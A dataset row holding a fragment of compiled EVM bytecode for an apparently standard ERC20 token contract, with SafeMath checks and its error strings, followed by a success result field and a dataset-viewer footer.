b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122016017906ae7d0167a720e97e3f2a17e1938a68d281db4de832c23126b337cb9664736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.